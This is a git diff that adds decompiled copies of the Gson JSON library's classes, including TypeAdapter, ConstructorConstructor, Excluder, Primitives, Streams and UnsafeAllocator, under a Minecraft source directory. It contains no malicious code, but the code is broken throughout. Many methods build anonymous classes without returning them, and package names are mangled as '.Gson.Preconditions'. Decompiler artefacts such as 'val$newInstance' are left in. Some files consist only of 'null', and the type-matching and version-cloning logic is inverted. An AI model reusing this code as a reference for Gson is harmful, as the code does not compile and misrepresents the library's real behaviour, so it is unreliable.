+    if (deserializer == null) {
+      return delegate().read(in);
+    }
+    JsonElement value = Streams.parse(in);
+    if (value.isJsonNull()) {
+      return null;
+    }
+    return deserializer.deserialize(value, typeToken.getType(), gson.deserializationContext);
+  }
+  
+  public void write(JsonWriter out, T value) throws IOException {
+    if (serializer == null) {
+      delegate().write(out, value);
+      return;
+    }
+    if (value == null) {
+      out.nullValue();
+      return;
+    }
+    JsonElement tree = serializer.serialize(value, typeToken.getType(), gson.serializationContext);
+    Streams.write(tree, out);
+  }
+  
+  private TypeAdapter<T> delegate() {
+    TypeAdapter<T> d = delegate;
+    return this.delegate = gson.getDelegateAdapter(skipPast, typeToken);
+  }
+  
+
+
+
+
+  public static TypeAdapterFactory newFactory(TypeToken<?> exactType, Object typeAdapter)
+  {
+    return new SingleTypeFactory(typeAdapter, exactType, false, null, null);
+  }
+  
+
+
+
+
+
+  public static TypeAdapterFactory newFactoryWithMatchRawType(TypeToken<?> exactType, Object typeAdapter)
+  {
+    boolean matchRawType = exactType.getType() == exactType.getRawType();
+    return new SingleTypeFactory(typeAdapter, exactType, matchRawType, null, null);
+  }
+  
+
+
+
+
+  public static TypeAdapterFactory newTypeHierarchyFactory(Class<?> hierarchyType, Object typeAdapter)
+  {
+    return new SingleTypeFactory(typeAdapter, null, false, hierarchyType, null);
+  }
+  
+  private static class SingleTypeFactory implements TypeAdapterFactory
+  {
+    private final TypeToken<?> exactType;
+    private final boolean matchRawType;
+    private final Class<?> hierarchyType;
+    private final JsonSerializer<?> serializer;
+    private final JsonDeserializer<?> deserializer;
+    
+    private SingleTypeFactory(Object typeAdapter, TypeToken<?> exactType, boolean matchRawType, Class<?> hierarchyType) {
+      serializer = ((typeAdapter instanceof JsonSerializer) ? (JsonSerializer)typeAdapter : null);
+      
+
+      deserializer = ((typeAdapter instanceof JsonDeserializer) ? (JsonDeserializer)typeAdapter : null);
+      
+
+      .Gson.Preconditions.checkArgument((serializer != null) || (deserializer != null));
+      this.exactType = exactType;
+      this.matchRawType = matchRawType;
+      this.hierarchyType = hierarchyType;
+    }
+    
+    public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> type)
+    {
+      boolean matches = exactType != null ? false : (exactType.equals(type)) || ((matchRawType) && (exactType.getType() == type.getRawType())) ? true : hierarchyType.isAssignableFrom(type.getRawType());
+      
+
+      return matches ? new TreeTypeAdapter(serializer, deserializer, gson, type, this, null) : null;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/gson/TypeAdapter.java b/src/minecraft/com/google/gson/TypeAdapter.java
new file mode 100644
index 0000000..fe7302b
--- /dev/null
+++ b/src/minecraft/com/google/gson/TypeAdapter.java
@@ -0,0 +1,286 @@
+package com.google.gson;
+
+import com.google.gson.internal.bind.JsonTreeReader;
+import com.google.gson.internal.bind.JsonTreeWriter;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.io.Writer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TypeAdapter<T>
+{
+  public TypeAdapter() {}
+  
+  public abstract void write(JsonWriter paramJsonWriter, T paramT)
+    throws IOException;
+  
+  public final void toJson(Writer out, T value)
+    throws IOException
+  {
+    JsonWriter writer = new JsonWriter(out);
+    write(writer, value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public final TypeAdapter<T> nullSafe()
+  {
+    new TypeAdapter() {
+      public void write(JsonWriter out, T value) throws IOException {
+        if (value == null) {
+          out.nullValue();
+        } else
+          TypeAdapter.this.write(out, value);
+      }
+      
+      public T read(JsonReader reader) throws IOException {
+        if (reader.peek() == JsonToken.NULL) {
+          reader.nextNull();
+          return null;
+        }
+        return TypeAdapter.this.read(reader);
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+  public final String toJson(T value)
+    throws IOException
+  {
+    StringWriter stringWriter = new StringWriter();
+    toJson(stringWriter, value);
+    return stringWriter.toString();
+  }
+  
+
+
+
+
+
+  public final JsonElement toJsonTree(T value)
+  {
+    try
+    {
+      JsonTreeWriter jsonWriter = new JsonTreeWriter();
+      write(jsonWriter, value);
+      return jsonWriter.get();
+    } catch (IOException e) {
+      throw new JsonIOException(e);
+    }
+  }
+  
+
+
+
+
+
+
+  public abstract T read(JsonReader paramJsonReader)
+    throws IOException;
+  
+
+
+
+
+
+
+  public final T fromJson(Reader in)
+    throws IOException
+  {
+    JsonReader reader = new JsonReader(in);
+    return read(reader);
+  }
+  
+
+
+
+
+
+
+
+  public final T fromJson(String json)
+    throws IOException
+  {
+    return fromJson(new StringReader(json));
+  }
+  
+
+
+
+
+  public final T fromJsonTree(JsonElement jsonTree)
+  {
+    try
+    {
+      JsonReader jsonReader = new JsonTreeReader(jsonTree);
+      return read(jsonReader);
+    } catch (IOException e) {
+      throw new JsonIOException(e);
+    }
+  }
+}
diff --git a/src/minecraft/com/google/gson/TypeAdapterFactory.java b/src/minecraft/com/google/gson/TypeAdapterFactory.java
new file mode 100644
index 0000000..b240e53
--- /dev/null
+++ b/src/minecraft/com/google/gson/TypeAdapterFactory.java
@@ -0,0 +1,8 @@
+package com.google.gson;
+
+import com.google.gson.reflect.TypeToken;
+
+public abstract interface TypeAdapterFactory
+{
+  public abstract <T> TypeAdapter<T> create(Gson paramGson, TypeToken<T> paramTypeToken);
+}
diff --git a/src/minecraft/com/google/gson/annotations/Expose.java b/src/minecraft/com/google/gson/annotations/Expose.java
new file mode 100644
index 0000000..ae28be6
--- /dev/null
+++ b/src/minecraft/com/google/gson/annotations/Expose.java
@@ -0,0 +1,15 @@
+package com.google.gson.annotations;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.FIELD})
+public @interface Expose
+{
+  boolean serialize() default true;
+  
+  boolean deserialize() default true;
+}
diff --git a/src/minecraft/com/google/gson/annotations/SerializedName.java b/src/minecraft/com/google/gson/annotations/SerializedName.java
new file mode 100644
index 0000000..3a94343
--- /dev/null
+++ b/src/minecraft/com/google/gson/annotations/SerializedName.java
@@ -0,0 +1,13 @@
+package com.google.gson.annotations;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.FIELD})
+public @interface SerializedName
+{
+  String value();
+}
diff --git a/src/minecraft/com/google/gson/annotations/Since.java b/src/minecraft/com/google/gson/annotations/Since.java
new file mode 100644
index 0000000..19290aa
--- /dev/null
+++ b/src/minecraft/com/google/gson/annotations/Since.java
@@ -0,0 +1,13 @@
+package com.google.gson.annotations;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.FIELD, java.lang.annotation.ElementType.TYPE})
+public @interface Since
+{
+  double value();
+}
diff --git a/src/minecraft/com/google/gson/annotations/Until.java b/src/minecraft/com/google/gson/annotations/Until.java
new file mode 100644
index 0000000..ca5e3b1
--- /dev/null
+++ b/src/minecraft/com/google/gson/annotations/Until.java
@@ -0,0 +1,13 @@
+package com.google.gson.annotations;
+
+import java.lang.annotation.Annotation;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Retention(RetentionPolicy.RUNTIME)
+@Target({java.lang.annotation.ElementType.FIELD, java.lang.annotation.ElementType.TYPE})
+public @interface Until
+{
+  double value();
+}
diff --git a/src/minecraft/com/google/gson/internal/.java b/src/minecraft/com/google/gson/internal/.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/gson/internal/ConstructorConstructor.java b/src/minecraft/com/google/gson/internal/ConstructorConstructor.java
new file mode 100644
index 0000000..230191d
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/ConstructorConstructor.java
@@ -0,0 +1,220 @@
+package com.google.gson.internal;
+
+import com.google.gson.InstanceCreator;
+import com.google.gson.JsonIOException;
+import com.google.gson.reflect.TypeToken;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.EnumSet;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.LinkedList;
+import java.util.Map;
+import java.util.Queue;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.SortedSet;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ConstructorConstructor
+{
+  private final Map<Type, InstanceCreator<?>> instanceCreators;
+  
+  public ConstructorConstructor(Map<Type, InstanceCreator<?>> instanceCreators)
+  {
+    this.instanceCreators = instanceCreators;
+  }
+  
+  public <T> ObjectConstructor<T> get(TypeToken<T> typeToken) {
+    final Type type = typeToken.getType();
+    Class<? super T> rawType = typeToken.getRawType();
+    
+
+
+
+    final InstanceCreator<T> typeCreator = (InstanceCreator)instanceCreators.get(type);
+    if (typeCreator != null) {
+      new ObjectConstructor() {
+        public T construct() {
+          return typeCreator.createInstance(type);
+        }
+      };
+    }
+    
+
+
+    final InstanceCreator<T> rawTypeCreator = (InstanceCreator)instanceCreators.get(rawType);
+    
+    if (rawTypeCreator != null) {
+      new ObjectConstructor() {
+        public T construct() {
+          return rawTypeCreator.createInstance(type);
+        }
+      };
+    }
+    
+    ObjectConstructor<T> defaultConstructor = newDefaultConstructor(rawType);
+    if (defaultConstructor != null) {
+      return defaultConstructor;
+    }
+    
+    ObjectConstructor<T> defaultImplementation = newDefaultImplementationConstructor(type, rawType);
+    if (defaultImplementation != null) {
+      return defaultImplementation;
+    }
+    
+
+    return newUnsafeAllocator(type, rawType);
+  }
+  
+  private <T> ObjectConstructor<T> newDefaultConstructor(Class<? super T> rawType) {
+    try {
+      final Constructor<? super T> constructor = rawType.getDeclaredConstructor(new Class[0]);
+      if (!constructor.isAccessible()) {
+        constructor.setAccessible(true);
+      }
+      new ObjectConstructor()
+      {
+        public T construct() {
+          try {
+            Object[] args = null;
+            return constructor.newInstance(args);
+          }
+          catch (InstantiationException e) {
+            throw new RuntimeException("Failed to invoke " + constructor + " with no args", e);
+          }
+          catch (InvocationTargetException e)
+          {
+            throw new RuntimeException("Failed to invoke " + constructor + " with no args", e.getTargetException());
+          }
+          catch (IllegalAccessException e) {
+            throw new AssertionError(e);
+          }
+        }
+      };
+    } catch (NoSuchMethodException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+  private <T> ObjectConstructor<T> newDefaultImplementationConstructor(final Type type, Class<? super T> rawType)
+  {
+    if (Collection.class.isAssignableFrom(rawType)) {
+      if (SortedSet.class.isAssignableFrom(rawType))
+        new ObjectConstructor() {
+          public T construct() {
+            return new TreeSet();
+          }
+        };
+      if (EnumSet.class.isAssignableFrom(rawType)) {
+        new ObjectConstructor()
+        {
+          public T construct() {
+            if ((type instanceof ParameterizedType)) {
+              Type elementType = ((ParameterizedType)type).getActualTypeArguments()[0];
+              if ((elementType instanceof Class)) {
+                return EnumSet.noneOf((Class)elementType);
+              }
+              throw new JsonIOException("Invalid EnumSet type: " + type.toString());
+            }
+            
+            throw new JsonIOException("Invalid EnumSet type: " + type.toString());
+          }
+        };
+      }
+      if (Set.class.isAssignableFrom(rawType))
+        new ObjectConstructor() {
+          public T construct() {
+            return new LinkedHashSet();
+          }
+        };
+      if (Queue.class.isAssignableFrom(rawType)) {
+        new ObjectConstructor() {
+          public T construct() {
+            return new LinkedList();
+          }
+        };
+      }
+      new ObjectConstructor() {
+        public T construct() {
+          return new ArrayList();
+        }
+      };
+    }
+    
+
+    if (Map.class.isAssignableFrom(rawType)) {
+      if (SortedMap.class.isAssignableFrom(rawType))
+        new ObjectConstructor() {
+          public T construct() {
+            return new TreeMap();
+          }
+        };
+      if (((type instanceof ParameterizedType)) && (!String.class.isAssignableFrom(TypeToken.get(((ParameterizedType)type).getActualTypeArguments()[0]).getRawType())))
+      {
+        new ObjectConstructor() {
+          public T construct() {
+            return new LinkedHashMap();
+          }
+        };
+      }
+      new ObjectConstructor() {
+        public T construct() {
+          return new LinkedTreeMap();
+        }
+      };
+    }
+    
+
+    return null;
+  }
+  
+  private <T> ObjectConstructor<T> newUnsafeAllocator(final Type type, final Class<? super T> rawType)
+  {
+    new ObjectConstructor() {
+      private final UnsafeAllocator unsafeAllocator = UnsafeAllocator.create();
+      
+      public T construct() {
+        try {
+          return unsafeAllocator.newInstance(rawType);
+        }
+        catch (Exception e) {
+          throw new RuntimeException("Unable to invoke no-args constructor for " + type + ". " + "Register an InstanceCreator with Gson for this type may fix this problem.", e);
+        }
+      }
+    };
+  }
+  
+  public String toString()
+  {
+    return instanceCreators.toString();
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/Excluder.java b/src/minecraft/com/google/gson/internal/Excluder.java
new file mode 100644
index 0000000..73a1cb1
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/Excluder.java
@@ -0,0 +1,251 @@
+package com.google.gson.internal;
+
+import com.google.gson.ExclusionStrategy;
+import com.google.gson.FieldAttributes;
+import com.google.gson.Gson;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.annotations.Expose;
+import com.google.gson.annotations.Since;
+import com.google.gson.annotations.Until;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Excluder
+  implements TypeAdapterFactory, Cloneable
+{
+  private static final double IGNORE_VERSIONS = -1.0D;
+  public static final Excluder DEFAULT = new Excluder();
+  
+  private double version = -1.0D;
+  private int modifiers = 136;
+  private boolean serializeInnerClasses = true;
+  private boolean requireExpose;
+  private List<ExclusionStrategy> serializationStrategies = Collections.emptyList();
+  private List<ExclusionStrategy> deserializationStrategies = Collections.emptyList();
+  
+  public Excluder() {}
+  
+  protected Excluder clone() { try { return (Excluder)super.clone();
+    } catch (CloneNotSupportedException e) {
+      throw new AssertionError();
+    }
+  }
+  
+  public Excluder withVersion(double ignoreVersionsAfter) {
+    Excluder result = clone();
+    version = ignoreVersionsAfter;
+    return result;
+  }
+  
+  public Excluder withModifiers(int... modifiers) {
+    Excluder result = clone();
+    modifiers = 0;
+    for (int modifier : modifiers) {
+      modifiers |= modifier;
+    }
+    return result;
+  }
+  
+  public Excluder disableInnerClassSerialization() {
+    Excluder result = clone();
+    serializeInnerClasses = false;
+    return result;
+  }
+  
+  public Excluder excludeFieldsWithoutExposeAnnotation() {
+    Excluder result = clone();
+    requireExpose = true;
+    return result;
+  }
+  
+  public Excluder withExclusionStrategy(ExclusionStrategy exclusionStrategy, boolean serialization, boolean deserialization)
+  {
+    Excluder result = clone();
+    if (serialization) {
+      serializationStrategies = new ArrayList(serializationStrategies);
+      serializationStrategies.add(exclusionStrategy);
+    }
+    if (deserialization) {
+      deserializationStrategies = new ArrayList(deserializationStrategies);
+      
+      deserializationStrategies.add(exclusionStrategy);
+    }
+    return result;
+  }
+  
+  public <T> TypeAdapter<T> create(final Gson gson, final TypeToken<T> type) {
+    Class<?> rawType = type.getRawType();
+    final boolean skipSerialize = excludeClass(rawType, true);
+    final boolean skipDeserialize = excludeClass(rawType, false);
+    
+    if ((!skipSerialize) && (!skipDeserialize)) {
+      return null;
+    }
+    
+    new TypeAdapter()
+    {
+      private TypeAdapter<T> delegate;
+      
+      public T read(JsonReader in) throws IOException {
+        if (skipDeserialize) {
+          in.skipValue();
+          return null;
+        }
+        return delegate().read(in);
+      }
+      
+      public void write(JsonWriter out, T value) throws IOException {
+        if (skipSerialize) {
+          out.nullValue();
+          return;
+        }
+        delegate().write(out, value);
+      }
+      
+      private TypeAdapter<T> delegate() {
+        TypeAdapter<T> d = delegate;
+        return this.delegate = gson.getDelegateAdapter(Excluder.this, type);
+      }
+    };
+  }
+  
+
+  public boolean excludeField(Field field, boolean serialize)
+  {
+    if ((modifiers & field.getModifiers()) != 0) {
+      return true;
+    }
+    
+    if ((version != -1.0D) && (!isValidVersion((Since)field.getAnnotation(Since.class), (Until)field.getAnnotation(Until.class))))
+    {
+      return true;
+    }
+    
+    if (field.isSynthetic()) {
+      return true;
+    }
+    
+    if (requireExpose) {
+      Expose annotation = (Expose)field.getAnnotation(Expose.class);
+      if ((annotation == null) || (serialize ? !annotation.serialize() : !annotation.deserialize())) {
+        return true;
+      }
+    }
+    
+    if ((!serializeInnerClasses) && (isInnerClass(field.getType()))) {
+      return true;
+    }
+    
+    if (isAnonymousOrLocal(field.getType())) {
+      return true;
+    }
+    
+    List<ExclusionStrategy> list = serialize ? serializationStrategies : deserializationStrategies;
+    FieldAttributes fieldAttributes; if (!list.isEmpty()) {
+      fieldAttributes = new FieldAttributes(field);
+      for (ExclusionStrategy exclusionStrategy : list) {
+        if (exclusionStrategy.shouldSkipField(fieldAttributes)) {
+          return true;
+        }
+      }
+    }
+    
+    return false;
+  }
+  
+  public boolean excludeClass(Class<?> clazz, boolean serialize) {
+    if ((version != -1.0D) && (!isValidVersion((Since)clazz.getAnnotation(Since.class), (Until)clazz.getAnnotation(Until.class))))
+    {
+      return true;
+    }
+    
+    if ((!serializeInnerClasses) && (isInnerClass(clazz))) {
+      return true;
+    }
+    
+    if (isAnonymousOrLocal(clazz)) {
+      return true;
+    }
+    
+    List<ExclusionStrategy> list = serialize ? serializationStrategies : deserializationStrategies;
+    for (ExclusionStrategy exclusionStrategy : list) {
+      if (exclusionStrategy.shouldSkipClass(clazz)) {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  private boolean isAnonymousOrLocal(Class<?> clazz) {
+    return (!Enum.class.isAssignableFrom(clazz)) && ((clazz.isAnonymousClass()) || (clazz.isLocalClass()));
+  }
+  
+  private boolean isInnerClass(Class<?> clazz)
+  {
+    return (clazz.isMemberClass()) && (!isStatic(clazz));
+  }
+  
+  private boolean isStatic(Class<?> clazz) {
+    return (clazz.getModifiers() & 0x8) != 0;
+  }
+  
+  private boolean isValidVersion(Since since, Until until) {
+    return (isValidSince(since)) && (isValidUntil(until));
+  }
+  
+  private boolean isValidSince(Since annotation) {
+    if (annotation != null) {
+      double annotationVersion = annotation.value();
+      if (annotationVersion > version) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  private boolean isValidUntil(Until annotation) {
+    if (annotation != null) {
+      double annotationVersion = annotation.value();
+      if (annotationVersion <= version) {
+        return false;
+      }
+    }
+    return true;
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/JsonReaderInternalAccess.java b/src/minecraft/com/google/gson/internal/JsonReaderInternalAccess.java
new file mode 100644
index 0000000..5867886
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/JsonReaderInternalAccess.java
@@ -0,0 +1,14 @@
+package com.google.gson.internal;
+
+import com.google.gson.stream.JsonReader;
+import java.io.IOException;
+
+public abstract class JsonReaderInternalAccess
+{
+  public static JsonReaderInternalAccess INSTANCE;
+  
+  public JsonReaderInternalAccess() {}
+  
+  public abstract void promoteNameToValue(JsonReader paramJsonReader)
+    throws IOException;
+}
diff --git a/src/minecraft/com/google/gson/internal/LazilyParsedNumber.java b/src/minecraft/com/google/gson/internal/LazilyParsedNumber.java
new file mode 100644
index 0000000..05091a1
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/LazilyParsedNumber.java
@@ -0,0 +1,78 @@
+package com.google.gson.internal;
+
+import java.io.ObjectStreamException;
+import java.math.BigDecimal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class LazilyParsedNumber
+  extends Number
+{
+  private final String value;
+  
+  public LazilyParsedNumber(String value)
+  {
+    this.value = value;
+  }
+  
+  public int intValue()
+  {
+    try {
+      return Integer.parseInt(value);
+    } catch (NumberFormatException e) {
+      try {
+        return (int)Long.parseLong(value);
+      } catch (NumberFormatException nfe) {} }
+    return new BigDecimal(value).intValue();
+  }
+  
+
+  public long longValue()
+  {
+    try
+    {
+      return Long.parseLong(value);
+    } catch (NumberFormatException e) {}
+    return new BigDecimal(value).longValue();
+  }
+  
+
+  public float floatValue()
+  {
+    return Float.parseFloat(value);
+  }
+  
+  public double doubleValue()
+  {
+    return Double.parseDouble(value);
+  }
+  
+  public String toString()
+  {
+    return value;
+  }
+  
+
+
+
+  private Object writeReplace()
+    throws ObjectStreamException
+  {
+    return new BigDecimal(value);
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/LinkedTreeMap.java b/src/minecraft/com/google/gson/internal/LinkedTreeMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/LinkedTreeMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/com/google/gson/internal/ObjectConstructor.java b/src/minecraft/com/google/gson/internal/ObjectConstructor.java
new file mode 100644
index 0000000..d0ebcde
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/ObjectConstructor.java
@@ -0,0 +1,6 @@
+package com.google.gson.internal;
+
+public abstract interface ObjectConstructor<T>
+{
+  public abstract T construct();
+}
diff --git a/src/minecraft/com/google/gson/internal/Primitives.java b/src/minecraft/com/google/gson/internal/Primitives.java
new file mode 100644
index 0000000..4420d4c
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/Primitives.java
@@ -0,0 +1,119 @@
+package com.google.gson.internal;
+
+import java.lang.reflect.Type;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Primitives
+{
+  private static final Map<Class<?>, Class<?>> PRIMITIVE_TO_WRAPPER_TYPE;
+  private static final Map<Class<?>, Class<?>> WRAPPER_TO_PRIMITIVE_TYPE;
+  
+  static
+  {
+    Map<Class<?>, Class<?>> primToWrap = new HashMap(16);
+    Map<Class<?>, Class<?>> wrapToPrim = new HashMap(16);
+    
+    add(primToWrap, wrapToPrim, Boolean.TYPE, Boolean.class);
+    add(primToWrap, wrapToPrim, Byte.TYPE, Byte.class);
+    add(primToWrap, wrapToPrim, Character.TYPE, Character.class);
+    add(primToWrap, wrapToPrim, Double.TYPE, Double.class);
+    add(primToWrap, wrapToPrim, Float.TYPE, Float.class);
+    add(primToWrap, wrapToPrim, Integer.TYPE, Integer.class);
+    add(primToWrap, wrapToPrim, Long.TYPE, Long.class);
+    add(primToWrap, wrapToPrim, Short.TYPE, Short.class);
+    add(primToWrap, wrapToPrim, Void.TYPE, Void.class);
+    
+    PRIMITIVE_TO_WRAPPER_TYPE = Collections.unmodifiableMap(primToWrap);
+    WRAPPER_TO_PRIMITIVE_TYPE = Collections.unmodifiableMap(wrapToPrim);
+  }
+  
+  private static void add(Map<Class<?>, Class<?>> forward, Map<Class<?>, Class<?>> backward, Class<?> key, Class<?> value)
+  {
+    forward.put(key, value);
+    backward.put(value, key);
+  }
+  
+
+
+  public static boolean isPrimitive(Type type)
+  {
+    return PRIMITIVE_TO_WRAPPER_TYPE.containsKey(type);
+  }
+  
+
+
+
+
+
+  public static boolean isWrapperType(Type type)
+  {
+    return WRAPPER_TO_PRIMITIVE_TYPE.containsKey(.Gson.Preconditions.checkNotNull(type));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <T> Class<T> wrap(Class<T> type)
+  {
+    Class<T> wrapped = (Class)PRIMITIVE_TO_WRAPPER_TYPE.get(.Gson.Preconditions.checkNotNull(type));
+    
+    return wrapped == null ? type : wrapped;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <T> Class<T> unwrap(Class<T> type)
+  {
+    Class<T> unwrapped = (Class)WRAPPER_TO_PRIMITIVE_TYPE.get(.Gson.Preconditions.checkNotNull(type));
+    
+    return unwrapped == null ? type : unwrapped;
+  }
+  
+  private Primitives() {}
+}
diff --git a/src/minecraft/com/google/gson/internal/Streams.java b/src/minecraft/com/google/gson/internal/Streams.java
new file mode 100644
index 0000000..cf21a80
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/Streams.java
@@ -0,0 +1,114 @@
+package com.google.gson.internal;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonIOException;
+import com.google.gson.JsonNull;
+import com.google.gson.JsonParseException;
+import com.google.gson.JsonSyntaxException;
+import com.google.gson.TypeAdapter;
+import com.google.gson.internal.bind.TypeAdapters;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonWriter;
+import com.google.gson.stream.MalformedJsonException;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.Writer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Streams
+{
+  public Streams() {}
+  
+  public static JsonElement parse(JsonReader reader)
+    throws JsonParseException
+  {
+    boolean isEmpty = true;
+    try {
+      reader.peek();
+      isEmpty = false;
+      return (JsonElement)TypeAdapters.JSON_ELEMENT.read(reader);
+
+    }
+    catch (EOFException e)
+    {
+
+      if (isEmpty) {
+        return JsonNull.INSTANCE;
+      }
+      
+      throw new JsonSyntaxException(e);
+    } catch (MalformedJsonException e) {
+      throw new JsonSyntaxException(e);
+    } catch (IOException e) {
+      throw new JsonIOException(e);
+    } catch (NumberFormatException e) {
+      throw new JsonSyntaxException(e);
+    }
+  }
+  
+
+  public static void write(JsonElement element, JsonWriter writer)
+    throws IOException
+  {
+    TypeAdapters.JSON_ELEMENT.write(writer, element);
+  }
+  
+  public static Writer writerForAppendable(Appendable appendable) {
+    return (appendable instanceof Writer) ? (Writer)appendable : new AppendableWriter(appendable, null);
+  }
+  
+
+  private static final class AppendableWriter
+    extends Writer
+  {
+    private final Appendable appendable;
+    
+    private final CurrentWrite currentWrite = new CurrentWrite();
+    
+    private AppendableWriter(Appendable appendable) {
+      this.appendable = appendable;
+    }
+    
+    public void write(char[] chars, int offset, int length) throws IOException {
+      currentWrite.chars = chars;
+      appendable.append(currentWrite, offset, offset + length);
+    }
+    
+    public void write(int i) throws IOException {
+      appendable.append((char)i);
+    }
+    
+    public void flush() {}
+    
+    public void close() {}
+    
+    static class CurrentWrite implements CharSequence {
+      char[] chars;
+      
+      CurrentWrite() {}
+      
+      public int length() { return chars.length; }
+      
+      public char charAt(int i) {
+        return chars[i];
+      }
+      
+      public CharSequence subSequence(int start, int end) { return new String(chars, start, end - start); }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/UnsafeAllocator.java b/src/minecraft/com/google/gson/internal/UnsafeAllocator.java
new file mode 100644
index 0000000..6cea32f
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/UnsafeAllocator.java
@@ -0,0 +1,104 @@
+package com.google.gson.internal;
+
+import java.io.ObjectInputStream;
+import java.io.ObjectStreamClass;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class UnsafeAllocator
+{
+  public UnsafeAllocator() {}
+  
+  public abstract <T> T newInstance(Class<T> paramClass)
+    throws Exception;
+  
+  public static UnsafeAllocator create()
+  {
+    try
+    {
+      Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
+      Field f = unsafeClass.getDeclaredField("theUnsafe");
+      f.setAccessible(true);
+      final Object unsafe = f.get(null);
+      Method allocateInstance = unsafeClass.getMethod("allocateInstance", new Class[] { Class.class });
+      new UnsafeAllocator()
+      {
+        public <T> T newInstance(Class<T> c) throws Exception
+        {
+          return val$allocateInstance.invoke(unsafe, new Object[] { c });
+        }
+        
+
+      };
+
+    }
+    catch (Exception ignored)
+    {
+
+      try
+      {
+        Method newInstance = ObjectInputStream.class.getDeclaredMethod("newInstance", new Class[] { Class.class, Class.class });
+        
+        newInstance.setAccessible(true);
+        new UnsafeAllocator()
+        {
+          public <T> T newInstance(Class<T> c) throws Exception
+          {
+            return val$newInstance.invoke(null, new Object[] { c, Object.class });
+          }
+          
+
+        };
+
+      }
+      catch (Exception ignored)
+      {
+
+        try
+        {
+          Method getConstructorId = ObjectStreamClass.class.getDeclaredMethod("getConstructorId", new Class[] { Class.class });
+          
+          getConstructorId.setAccessible(true);
+          final int constructorId = ((Integer)getConstructorId.invoke(null, new Object[] { Object.class })).intValue();
+          Method newInstance = ObjectStreamClass.class.getDeclaredMethod("newInstance", new Class[] { Class.class, Integer.TYPE });
+          
+          newInstance.setAccessible(true);
+          new UnsafeAllocator()
+          {
+            public <T> T newInstance(Class<T> c) throws Exception
+            {
+              return val$newInstance.invoke(null, new Object[] { c, Integer.valueOf(constructorId) });
+            }
+          };
+        }
